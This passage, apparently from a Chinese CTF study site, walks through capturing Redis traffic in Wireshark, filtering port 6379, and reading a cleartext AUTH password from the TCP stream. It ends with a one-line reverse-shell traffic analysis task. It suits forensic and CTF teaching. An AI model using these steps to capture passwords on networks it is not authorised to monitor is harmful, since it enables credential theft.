<p>首先,确保你已经捕获了包含Redis通信的网络流量包。你可以通过以下步骤捕获流量:</p>
|
||
<ul>
|
||
<li>启动Wireshark。</li>
|
||
<li>选择正确的网络接口(例如,Wi-Fi或以太网)。</li>
|
||
<li>开始捕获流量。</li>
|
||
<li>确保Redis客户端和服务器之间的通信发生在捕获期间。</li>
|
||
</ul>
|
||
<h3 id="2-过滤redis流量"><a class="header" href="#2-过滤redis流量">2. 过滤Redis流量</a></h3>
|
||
<p>在Wireshark中,使用过滤器来仅显示Redis相关的流量。Redis使用TCP端口6379作为默认端口。你可以使用以下过滤器:</p>
|
||
<pre><code>tcp.port == 6379
|
||
</code></pre>
|
||
<h3 id="3-查找redis-auth命令"><a class="header" href="#3-查找redis-auth命令">3. 查找Redis AUTH命令</a></h3>
|
||
<p>Redis客户端在连接到Redis服务器时,通常会发送一个<code>AUTH</code>命令来验证身份。<code>AUTH</code>命令的格式如下:</p>
|
||
<pre><code>*2\r\n$4\r\nAUTH\r\n$<password_length>\r\n<password>\r\n
|
||
</code></pre>
|
||
<ul>
|
||
<li><code>*2</code> 表示有两个参数。</li>
|
||
<li><code>$4</code> 表示第一个参数的长度为4字节,即<code>AUTH</code>。</li>
|
||
<li><code>$<password_length></code> 表示密码的长度。</li>
|
||
<li><code><password></code> 是实际的密码。</li>
|
||
</ul>
|
||
<h3 id="4-解析auth命令"><a class="header" href="#4-解析auth命令">4. 解析AUTH命令</a></h3>
|
||
<p>在Wireshark中,找到包含<code>AUTH</code>命令的TCP流。你可以通过以下步骤找到密码:</p>
|
||
<ul>
|
||
<li>双击包含<code>AUTH</code>命令的TCP流。</li>
|
||
<li>在TCP流中,查找<code>AUTH</code>命令及其后的密码。</li>
|
||
</ul>
|
||
<h3 id="5-查看明文密码"><a class="header" href="#5-查看明文密码">5. 查看明文密码</a></h3>
|
||
<p>在TCP流中,你应该能够看到明文的密码。Wireshark会显示整个TCP流的内容,包括<code>AUTH</code>命令和密码。</p>
|
||
<h2 id="18流量分析"><a class="header" href="#18流量分析">18.流量分析</a></h2>
|
||
<p>找到反弹shell流量分析 找到反弹shell的ip地址</p>
|
||
|
||
</main>
|
||
|
||
<nav class="nav-wrapper" aria-label="Page navigation">
|
||
<!-- Mobile navigation buttons -->
|
||
<a rel="prev" href="../../posts/ctf/nuclei__tutorial.html" class="mobile-nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
|
||
<i class="fa fa-angle-left"></i>
|
||
</a>
|
||
|
||
<a rel="next prefetch" href="../../posts/ctf/man_che_si_te_bian_ma.html" class="mobile-nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
|
||
<i class="fa fa-angle-right"></i>
|
||
</a>
|
||
|
||
<div style="clear: both"></div>
|
||
</nav>
|
||
</div>
|
||
</div>
|
||
|
||
<nav class="nav-wide-wrapper" aria-label="Page navigation">
|
||
<a rel="prev" href="../../posts/ctf/nuclei__tutorial.html" class="nav-chapters previous" title="Previous chapter" aria-label="Previous chapter" aria-keyshortcuts="Left">
|
||
<i class="fa fa-angle-left"></i>
|
||
</a>
|
||
|
||
<a rel="next prefetch" href="../../posts/ctf/man_che_si_te_bian_ma.html" class="nav-chapters next" title="Next chapter" aria-label="Next chapter" aria-keyshortcuts="Right">
|
||
<i class="fa fa-angle-right"></i>
|
||
</a>
|
||
</nav>
|
||
|
||
</div>
|
||
|
||
|
||
|
||
<script>
|
||
window.playground_line_numbers = true;
|
||
</script>
|
||
|
||
<script>
|
||
window.playground_copyable = true;
|
||
</script>
|
||
|
||
<script src="../../ace.js"></script>
|
||
<script src="../../editor.js"></script>
|
||
<script src="../../mode-rust.js"></script>
|
||
<script src="../../theme-dawn.js"></script>
|
||
<script src="../../theme-tomorrow_night.js"></script>
|
||
|
||
<script src="../../elasticlunr.min.js"></script>
|
||
<script src="../../mark.min.js"></script>
|
||
<script src="../../searcher.js"></script>
|
||
|
||
<script src="../../clipboard.min.js"></script>
|
||
<script src="../../highlight.js"></script>
|
||
<script src="../../book.js"></script>
|
||
|
||
<!-- Custom JS scripts -->
|
||
<script src="../../src/js/custom.js"></script>
|
||
|
||
|
||
</div>
|
||
</body>
|
||
</html>
|